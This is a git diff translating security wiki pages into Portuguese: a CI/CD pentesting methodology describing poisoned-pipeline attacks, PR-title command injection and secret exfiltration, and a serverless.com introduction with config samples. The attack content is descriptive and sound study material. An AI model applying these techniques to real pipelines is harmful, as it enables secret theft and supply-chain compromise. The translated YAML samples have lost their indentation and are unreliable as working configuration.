might need to **bypass branch protections**. These actions can be performed with different goals in mid: - - Compromise the main branch to **compromise production**. - - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines). - - **Compromise the pipeline** (check next section) +- **Leaks**: Se seu código contém leaks nos commits e o atacante pode acessar o repositório (porque é público ou porque ele tem acesso), ele poderia descobrir os leaks. +- **Access**: Se um atacante pode **acessar uma conta dentro da plataforma VCS**, ele poderia ganhar **mais visibilidade e permissões**. +- **Register**: Algumas plataformas permitirão apenas que usuários externos criem uma conta. +- **SSO**: Algumas plataformas não permitirão que os usuários se registrem, mas permitirão que qualquer um acesse com um SSO válido (então um atacante poderia usar sua conta do github para entrar, por exemplo). +- **Credentials**: Nome de usuário + Senha, tokens pessoais, chaves ssh, tokens Oauth, cookies... existem vários tipos de tokens que um usuário poderia roubar para acessar de alguma forma um repositório. +- **Webhooks**: As plataformas VCS permitem gerar webhooks. Se eles **não estiverem protegidos** com segredos não visíveis, um **atacante poderia abusar deles**. +- Se nenhum segredo estiver em vigor, o atacante poderia abusar do webhook da plataforma de terceiros. +- Se o segredo estiver na URL, o mesmo acontece e o atacante também terá o segredo. +- **Code compromise:** Se um ator malicioso tiver algum tipo de **acesso de escrita** sobre os repositórios, ele poderia tentar **injetar código malicioso**. Para ter sucesso, ele pode precisar **contornar as proteções de branch**. Essas ações podem ser realizadas com diferentes objetivos em mente: +- Comprometer o branch principal para **comprometer a produção**. +- Comprometer o principal (ou outros branches) para **comprometer as máquinas dos desenvolvedores** (já que eles geralmente executam testes, terraform ou outras coisas dentro do repositório em suas máquinas). +- **Comprometer o pipeline** (ver próxima seção) ## Pipelines Pentesting Methodology -The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\ -These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code. +A maneira mais comum de definir um pipeline é usando um **arquivo de configuração CI hospedado no repositório** que o pipeline constrói. Este arquivo descreve a ordem dos trabalhos executados, condições que afetam o fluxo e configurações do ambiente de construção.\ +Esses arquivos geralmente têm um nome e formato consistentes, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionado, o trabalho do pipeline **puxa o código** da fonte selecionada (por exemplo, commit / branch) e **executa os comandos especificados no arquivo de configuração CI** contra esse código. -Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**. +Portanto, o objetivo final do atacante é de alguma forma **comprometer esses arquivos de configuração** ou os **comandos que eles executam**. ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. +O caminho Poisoned Pipeline Execution (PPE) explora permissões em um repositório SCM para manipular um pipeline CI e executar comandos prejudiciais. Usuários com as permissões necessárias podem modificar arquivos de configuração CI ou outros arquivos usados pelo trabalho do pipeline para incluir comandos maliciosos. Isso "envenena" o pipeline CI, levando à execução desses comandos maliciosos. -For a malicious actor to be successful performing a PPE attack he needs to be able to: +Para que um ator malicioso tenha sucesso ao realizar um ataque PPE, ele precisa ser capaz de: -- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access). - - Note that sometimes an **external PR count as "write access"**. -- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**. - - For this, he might need to be able to **bypass branch protections**. +- Ter **acesso de escrita à plataforma VCS**, já que geralmente os pipelines são acionados quando um push ou um pull request é realizado. (Ver a metodologia de pentesting VCS para um resumo das maneiras de obter acesso). +- Note que às vezes um **PR externo conta como "acesso de escrita"**. +- Mesmo que ele tenha permissões de escrita, ele precisa ter certeza de que pode **modificar o arquivo de configuração CI ou outros arquivos dos quais a configuração depende**. +- Para isso, ele pode precisar ser capaz de **contornar as proteções de branch**. -There are 3 PPE flavours: +Existem 3 sabores de PPE: -- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. -- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). -- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR. - - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**. +- **D-PPE**: Um ataque **Direto PPE** ocorre quando o ator **modifica o arquivo de configuração CI** que será executado. +- **I-DDE**: Um ataque **Indireto PPE** ocorre quando o ator **modifica** um **arquivo** do qual o arquivo de configuração CI que será executado **depende** (como um arquivo make ou uma configuração terraform). +- **Public PPE ou 3PE**: Em alguns casos, os pipelines podem ser **acionados por usuários que não têm acesso de escrita no repositório** (e que podem nem mesmo fazer parte da organização) porque podem enviar um PR. +- **3PE Command Injection**: Geralmente, os pipelines CI/CD **definirão variáveis de ambiente** com **informações sobre o PR**. Se esse valor puder ser controlado por um atacante (como o título do PR) e for **usado** em um **lugar perigoso** (como executar **comandos sh**), um atacante pode **injetar comandos ali**. ### Exploitation Benefits -Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation: +Conhecendo os 3 sabores para envenenar um pipeline, vamos verificar o que um atacante poderia obter após uma exploração bem-sucedida: -- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible. - - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**. -- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further. - - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**. - - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**. - - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**. - - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further. -- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**. +- **Secrets**: Como mencionado anteriormente, os pipelines requerem **privilégios** para seus trabalhos (recuperar o código, construí-lo, implantá-lo...) e esses privilégios geralmente são **concedidos em segredos**. Esses segredos geralmente são acessíveis via **variáveis de ambiente ou arquivos dentro do sistema**. Portanto, um atacante sempre tentará exfiltrar o máximo de segredos possível. +- Dependendo da plataforma do pipeline, o atacante **pode precisar especificar os segredos na configuração**. Isso significa que se o atacante não puder modificar o pipeline de configuração CI (**I-PPE**, por exemplo), ele poderia **apenas exfiltrar os segredos que esse pipeline possui**. +- **Computation**: O código é executado em algum lugar, dependendo de onde é executado, um atacante pode ser capaz de pivotar mais. +- **On-Premises**: Se os pipelines são executados localmente, um atacante pode acabar em uma **rede interna com acesso a mais recursos**. +- **Cloud**: O atacante poderia acessar **outras máquinas na nuvem**, mas também poderia **exfiltrar** tokens de **contas de serviço/roles IAM** para obter **mais acesso dentro da nuvem**. +- **Platforms machine**: Às vezes, os trabalhos serão executados dentro das **máquinas da plataforma de pipelines**, que geralmente estão dentro de uma nuvem com **nenhum acesso adicional**. +- **Select it:** Às vezes, a **plataforma de pipelines terá várias máquinas configuradas** e se você puder **modificar o arquivo de configuração CI**, poderá **indicar onde deseja executar o código malicioso**. Nessa situação, um atacante provavelmente executará um shell reverso em cada máquina possível para tentar explorá-la mais. +- **Compromise production**: Se você estiver dentro do pipeline e a versão final for construída e implantada a partir dele, você poderia **comprometer o código que acabará sendo executado em produção**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta de código aberto para auditar sua pilha de cadeia de suprimentos de software para conformidade de segurança com base em um novo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria foca em todo o processo SDLC, onde pode revelar riscos desde o tempo de código até o tempo de implantação. ### Top 10 CI/CD Security Risk -Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Confira este artigo interessante sobre os 10 principais riscos de CI/CD de acordo com a Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it -- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) +- Em cada plataforma que você pode executar localmente, você encontrará como lançá-la localmente para que possa configurá-la como quiser para testá-la. +- Laboratório Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** é uma ferramenta de análise de código estático para infraestrutura como código. ## References - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index bf1343702..26a44fbbc 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -2,302 +2,273 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -### Organization +### Organização -An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications. +Uma **Organização** é a entidade de nível mais alto dentro do ecossistema do Serverless Framework. Ela representa um **grupo coletivo**, como uma empresa, departamento ou qualquer entidade grande, que abrange múltiplos projetos, equipes e aplicações. -### Team +### Equipe -The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings. +A **Equipe** são os usuários com acesso dentro da organização. As equipes ajudam a organizar os membros com base em funções. **`Colaboradores`** podem visualizar e implantar aplicativos existentes, enquanto **`Administradores`** podem criar novos aplicativos e gerenciar as configurações da organização. -### Application +### Aplicação -An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality. +Um **App** é um agrupamento lógico de serviços relacionados dentro de uma Organização. Ele representa uma aplicação completa composta por múltiplos serviços serverless que trabalham juntos para fornecer uma funcionalidade coesa. -### **Services** - -A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables. +### **Serviços** +Um **Serviço** é o componente central de uma aplicação Serverless. Ele representa todo o seu projeto serverless, encapsulando todas as funções, configurações e recursos necessários. Geralmente é definido em um arquivo `serverless.yml`, um serviço inclui metadados como o nome do serviço, configurações do provedor, funções, eventos, recursos, plugins e variáveis personalizadas. ```yaml service: my-service provider: - name: aws - runtime: nodejs14.x +name: aws +runtime: nodejs14.x functions: - hello: - handler: handler.hello +hello: +handler: handler.hello ``` -
-Function +Função -A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events. - -It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings. +Uma **Função** representa uma única função serverless, como uma função AWS Lambda. Ela contém o código que é executado em resposta a eventos. +Está definida na seção `functions` em `serverless.yml`, especificando o manipulador, runtime, eventos, variáveis de ambiente e outras configurações. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get +hello: +handler: handler.hello +events: +- http: +path: hello +method: get ``` -
-Event +Evento -**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed. - -Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more. +**Eventos** são gatilhos que invocam suas funções serverless. Eles definem como e quando uma função deve ser executada. +Os tipos comuns de eventos incluem solicitações HTTP, eventos agendados (jobs cron), eventos de banco de dados, uploads de arquivos e mais. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - - schedule: - rate: rate(10 minutes) +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +- schedule: +rate: rate(10 minutes) ``` -
-Resource +Recurso -**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles. - -They are specified under the `resources` section, often using CloudFormation syntax for AWS. +**Recursos** permitem que você defina recursos de nuvem adicionais dos quais seu serviço depende, como bancos de dados, buckets de armazenamento ou funções IAM. +Eles são especificados na seção `resources`, frequentemente usando a sintaxe do CloudFormation para AWS. ```yaml resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - TableName: my-table - AttributeDefinitions: - - AttributeName: id - AttributeType: S - KeySchema: - - AttributeName: id - KeyType: HASH - ProvisionedThroughput: - ReadCapacityUnits: 1 - WriteCapacityUnits: 1 +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +TableName: my-table +AttributeDefinitions: +- AttributeName: id +AttributeType: S +KeySchema: +- AttributeName: id +KeyType: HASH +ProvisionedThroughput: +ReadCapacityUnits: 1 +WriteCapacityUnits: 1 ``` -
-Provider +Provedor -The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider. - -It includes details like the runtime, region, stage, and credentials. +O objeto **Provedor** especifica o provedor de serviços em nuvem (por exemplo, AWS, Azure, Google Cloud) e contém configurações relevantes para esse provedor. +Inclui detalhes como o runtime, região, estágio e credenciais. ```yaml yamlCopy codeprovider: - name: aws - runtime: nodejs14.x - region: us-east-1 - stage: dev +name: aws +runtime: nodejs14.x +region: us-east-1 +stage: dev ``` -
-Stage and Region - -The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments. +Estágio e Região +O estágio representa diferentes ambientes (por exemplo, desenvolvimento, homologação, produção) onde seu serviço pode ser implantado. Ele permite configurações e implantações específicas para cada ambiente. ```yaml provider: - stage: dev +stage: dev ``` - -The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations. - +A região especifica a região geográfica onde seus recursos serão implantados. É importante para considerações de latência, conformidade e disponibilidade. ```yaml provider: - region: us-west-2 +region: us-west-2 ``` -
Plugins -**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm. - +**Plugins** estendem a funcionalidade do Serverless Framework adicionando novos recursos ou integrando-se a outras ferramentas e serviços. Eles são definidos na seção `plugins` e instalados via npm. ```yaml plugins: - - serverless-offline - - serverless-webpack +- serverless-offline +- serverless-webpack ``` -
-Layers - -**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions. +Camadas +**Camadas** permitem que você empacote e gerencie código compartilhado ou dependências separadamente de suas funções. Isso promove a reutilização e reduz o tamanho dos pacotes de implantação. Elas são definidas na seção `layers` e referenciadas por funções. ```yaml layers: - commonLibs: - path: layer-common +commonLibs: +path: layer-common functions: - hello: - handler: handler.hello - layers: - - { Ref: CommonLibsLambdaLayer } +hello: +handler: handler.hello +layers: +- { Ref: CommonLibsLambdaLayer } +``` +
+ +
+ +Variáveis e Variáveis Personalizadas + +**Variáveis** permitem configuração dinâmica ao permitir o uso de espaços reservados que são resolvidos no momento da implantação. + +- **Sintaxe:** A sintaxe `${variable}` pode referenciar variáveis de ambiente, conteúdos de arquivos ou outros parâmetros de configuração. + +```yaml +functions: +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} +``` + +* **Variáveis Personalizadas:** A seção `custom` é usada para definir variáveis e configurações específicas do usuário que podem ser reutilizadas em todo o `serverless.yml`. + +```yaml +custom: +tableName: my-dynamodb-table +stage: ${opt:stage, 'dev'} ```
-Variables and Custom Variables - -**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time. - -- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters. - - ```yaml - functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} - ``` - -* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`. - - ```yaml - custom: - tableName: my-dynamodb-table - stage: ${opt:stage, 'dev'} - ``` - -
- -
- -Outputs - -**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment. +Saídas +**Saídas** definem os valores que são retornados após um serviço ser implantado, como ARNs de recursos, endpoints ou outras informações úteis. Elas são especificadas na seção `outputs` e frequentemente usadas para expor informações a outros serviços ou para fácil acesso após a implantação. ```yaml ¡outputs: - ApiEndpoint: - Description: "API Gateway endpoint URL" - Value: - Fn::Join: - - "" - - - "https://" - - Ref: ApiGatewayRestApi - - ".execute-api." - - Ref: AWS::Region - - ".amazonaws.com/" - - Ref: AWS::Stage +ApiEndpoint: +Description: "API Gateway endpoint URL" +Value: +Fn::Join: +- "" +- - "https://" +- Ref: ApiGatewayRestApi +- ".execute-api." +- Ref: AWS::Region +- ".amazonaws.com/" +- Ref: AWS::Stage ``` -
-IAM Roles and Permissions - -**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions. +Funções e Permissões IAM +**Funções e Permissões IAM** definem as credenciais de segurança e os direitos de acesso para suas funções e outros recursos. Elas são gerenciadas sob as configurações do `provider` ou de funções individuais para especificar as permissões necessárias. ```yaml provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -
-Environment Variables - -**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions. +Variáveis de Ambiente +**Variáveis** permitem que você passe configurações e segredos para suas funções sem codificá-los diretamente. Elas são definidas na seção `environment` para o provedor ou funções individuais. ```yaml provider: - environment: - STAGE: ${self:provider.stage} +environment: +STAGE: ${self:provider.stage} functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} ``` -
-Dependencies - -**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`. +Dependências +**Dependências** gerenciam as bibliotecas e módulos externos que suas funções requerem. Elas são normalmente gerenciadas por meio de gerenciadores de pacotes como npm ou pip, e empacotadas com seu pacote de implantação usando ferramentas ou plugins como `serverless-webpack`. ```yaml plugins: - - serverless-webpack +- serverless-webpack ``` -
Hooks -**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments. - +**Hooks** permitem que você execute scripts ou comandos personalizados em pontos específicos do ciclo de vida da implantação. Eles são definidos usando plugins ou dentro do `serverless.yml` para realizar ações antes ou depois das implantações. ```yaml custom: - hooks: - before:deploy:deploy: echo "Starting deployment..." +hooks: +before:deploy:deploy: echo "Starting deployment..." ``` -
### Tutorial -This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial): - -1. Create an AWS account (Serverless.com start in AWS infrastructure) -2. Create an account in serverless.com -3. Create an app: +Este é um resumo do tutorial oficial [**da documentação**](https://www.serverless.com/framework/docs/tutorial): +1. Crie uma conta na AWS (Serverless.com começa na infraestrutura da AWS) +2. Crie uma conta em serverless.com +3. Crie um aplicativo: ```bash # Create temp folder for the tutorial mkdir /tmp/serverless-tutorial @@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` - -This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function: +Isso deve ter criado um **app** chamado `tutorialapp` que você pode verificar em [serverless.com](serverless.com-security.md) e uma pasta chamada `Tutorial` com o arquivo **`handler.js`** contendo algum código JS com um código `helloworld` e o arquivo **`serverless.yml`** declarando essa função: {{#tabs }} {{#tab name="handler.js" }} - ```javascript exports.hello = async (event) => { - return { - statusCode: 200, - body: JSON.stringify({ - message: "Go Serverless v4! Your function executed successfully!", - }), - } +return { +statusCode: 200, +body: JSON.stringify({ +message: "Go Serverless v4! Your function executed successfully!", +}), +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -342,130 +309,122 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x +name: aws +runtime: nodejs20.x functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get ``` - {{#endtab }} {{#endtabs }} -4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. - 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) - 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role. +4. Crie um provedor AWS, acessando o **painel** em `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. +1. Para dar acesso ao `serverless.com` ao AWS, será solicitado que você execute uma pilha do cloudformation usando este arquivo de configuração (no momento da escrita): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +2. Este template gera um papel chamado **`SFRole-`** com **`arn:aws:iam::aws:policy/AdministratorAccess`** sobre a conta com uma Identidade de Confiança que permite que a conta AWS do `Serverless.com` acesse o papel.
Yaml roleTemplate - ```yaml Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments. Resources: - SFRole: - Type: AWS::IAM::Role - Properties: - AssumeRolePolicyDocument: - Version: "2012-10-17" - Statement: - - Effect: Allow - Principal: - AWS: arn:aws:iam::486128539022:root - Action: - - sts:AssumeRole - Condition: - StringEquals: - sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" - Path: / - RoleName: !Ref RoleName - ManagedPolicyArns: - - arn:aws:iam::aws:policy/AdministratorAccess - ReporterFunction: - Type: Custom::ServerlessFrameworkReporter - Properties: - ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" - OrgUid: !Ref OrgUid - RoleArn: !GetAtt SFRole.Arn - Alias: !Ref Alias +SFRole: +Type: AWS::IAM::Role +Properties: +AssumeRolePolicyDocument: +Version: "2012-10-17" +Statement: +- Effect: Allow +Principal: +AWS: arn:aws:iam::486128539022:root +Action: +- sts:AssumeRole +Condition: +StringEquals: +sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" +Path: / +RoleName: !Ref RoleName +ManagedPolicyArns: +- arn:aws:iam::aws:policy/AdministratorAccess +ReporterFunction: +Type: Custom::ServerlessFrameworkReporter +Properties: +ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" +OrgUid: !Ref OrgUid +RoleArn: !GetAtt SFRole.Arn +Alias: !Ref Alias Outputs: - SFRoleArn: - Description: "ARN for the IAM Role used by Serverless Framework" - Value: !GetAtt SFRole.Arn +SFRoleArn: +Description: "ARN for the IAM Role used by Serverless Framework" +Value: !GetAtt SFRole.Arn Parameters: - OrgUid: - Description: Serverless Framework Org Uid - Type: String - Alias: - Description: Serverless Framework Provider Alias - Type: String - RoleName: - Description: Serverless Framework Role Name - Type: String +OrgUid: +Description: Serverless Framework Org Uid +Type: String +Alias: +Description: Serverless Framework Provider Alias +Type: String +RoleName: +Description: Serverless Framework Role Name +Type: String ``` -
-Trust Relationship - +Relação de Confiança ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::486128539022:root" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::486128539022:root" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" +} +} +} +] } ``` -
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas. +5. O tutorial pede para criar o arquivo `createCustomer.js`, que basicamente criará um novo endpoint de API tratado pelo novo arquivo JS e pede para modificar o arquivo `serverless.yml` para que ele gere uma **nova tabela DynamoDB**, defina uma **variável de ambiente**, o papel que estará usando as lambdas geradas. {{#tabs }} {{#tab name="createCustomer.js" }} - ```javascript "use strict" const AWS = require("aws-sdk") module.exports.createCustomer = async (event) => { - const body = JSON.parse(Buffer.from(event.body, "base64").toString()) - const dynamoDb = new AWS.DynamoDB.DocumentClient() - const putParams = { - TableName: process.env.DYNAMODB_CUSTOMER_TABLE, - Item: { - primary_key: body.name, - email: body.email, - }, - } - await dynamoDb.put(putParams).promise() - return { - statusCode: 201, - } +const body = JSON.parse(Buffer.from(event.body, "base64").toString()) +const dynamoDb = new AWS.DynamoDB.DocumentClient() +const putParams = { +TableName: process.env.DYNAMODB_CUSTOMER_TABLE, +Item: { +primary_key: body.name, +email: body.email, +}, +} +await dynamoDb.put(putParams).promise() +return { +statusCode: 201, +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -475,388 +434,379 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x - environment: - DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} - iam: - role: - statements: - - Effect: "Allow" - Action: - - "dynamodb:PutItem" - - "dynamodb:Get*" - - "dynamodb:Scan*" - - "dynamodb:UpdateItem" - - "dynamodb:DeleteItem" - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +name: aws +runtime: nodejs20.x +environment: +DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} +iam: +role: +statements: +- Effect: "Allow" +Action: +- "dynamodb:PutItem" +- "dynamodb:Get*" +- "dynamodb:Scan*" +- "dynamodb:UpdateItem" +- "dynamodb:DeleteItem" +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get - createCustomer: - handler: createCustomer.createCustomer - events: - - httpApi: - path: / - method: post +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get +createCustomer: +handler: createCustomer.createCustomer +events: +- httpApi: +path: / +method: post resources: - Resources: - CustomerTable: - Type: AWS::DynamoDB::Table - Properties: - AttributeDefinitions: - - AttributeName: primary_key - AttributeType: S - BillingMode: PAY_PER_REQUEST - KeySchema: - - AttributeName: primary_key - KeyType: HASH - TableName: ${self:service}-customerTable-${sls:stage} +Resources: +CustomerTable: +Type: AWS::DynamoDB::Table +Properties: +AttributeDefinitions: +- AttributeName: primary_key +AttributeType: S +BillingMode: PAY_PER_REQUEST +KeySchema: +- AttributeName: primary_key +KeyType: HASH +TableName: 